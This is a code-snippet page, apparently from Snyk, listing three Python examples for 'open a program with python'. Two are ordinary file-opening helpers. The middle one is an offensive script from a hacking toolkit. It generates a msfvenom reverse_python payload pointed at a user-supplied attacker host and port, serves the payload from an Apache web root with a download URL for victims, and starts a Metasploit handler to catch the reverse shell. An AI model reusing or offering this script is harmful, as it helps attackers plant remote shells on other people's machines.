3 examples of 'open a program with python' in Python

Every line of 'open a program with python' code snippets is scanned for vulnerabilities by our powerful machine learning engine that combs millions of open source libraries, ensuring your Python code is secure.

All examples are scanned by Snyk Code

By copying the Snyk Code Snippets you agree to
this disclaimer
17def open_python_file(filename):
18 """Open a read-only Python file taking proper care of its encoding.
19
20 In Python 3, we would like all files to be opened with utf-8 encoding.
21 However, some author like to specify PEP263 headers in their source files
22 with their own encodings. In that case, we should respect the author's
23 encoding.
24 """
25 import tokenize
26
27 if hasattr(tokenize, "open"): # Added in Python 3.2
28 # Open file respecting PEP263 encoding. If no encoding header is
29 # found, opens as utf-8.
30 return tokenize.open(filename)
31 else:
32 return open(filename, "r")
Important

Use secure code every time

Secure your code as it's written. Use Snyk Code to scan source code in minutes – no build needed – and fix issues immediately. Enable Snyk Code

293def python():
294 lhost = raw_input("Enter LHOST: ")
295 lport = raw_input("Enter LPORT: ")
296 name = raw_input("Enter Payload Name: ")
297 os.system("msfvenom -p cmd/unix/reverse_python LHOST=%s LPORT=%s -f raw > /sdcard/EasY_HaCk/%s.py"%(lhost,lport,name))
298 clear()
299 print "Payload Successfuly Generated"
300 print "[1]-Do You Want To Start a listenner"
301 print "[2]-Do You Want To Start an IP Poisener "
302 li = raw_input()
303 if li == '2' :
304 os.system('rm $PREFIX/var/run/apache2/httpd.pid')
305 os.system('apachectl start')
306 os.system('cp /sdcard/EasY_HaCk/%s.py $PREFIX/share/apache2/default-site/htdocs/zaki/'%(name))
307 os.system('clear')
308 print "Your IP Successfully Poisened :\033[0m http://%s:8080/zaki/%s.py"%(lhost,name)
309 listen = """
310 use exploit/multi/handler
311 set PAYLOAD cmd/unix/reverse_python
312 set LHOST {0}
313 set LPORT {1}
314 exploit
315 """.format(lhost,lport)
316 with open('listener.rc', 'w') as f :
317 f.write(listen)
318 os.system('msfconsole -r listener.rc')
319
320 else :
321 listen = """
322 use exploit/multi/handler
323 set PAYLOAD cmd/unix/reverse_python
324 set LHOST {0}
325 set LPORT {1}
326 exploit
327 """.format(lhost,lport)
328 with open('listener.rc', 'w') as f :
329 f.write(listen)
330 os.system('msfconsole -r listener.rc')
27def _open_file(filename):
28 if sys.platform == "win32":
29 os.startfile(filename)
30 else:
31 if sys.platform == "darwin":
32 opener = "open"
33 else:
34 opener = "xdg-open"
35 subprocess.call([opener, filename])

Related snippets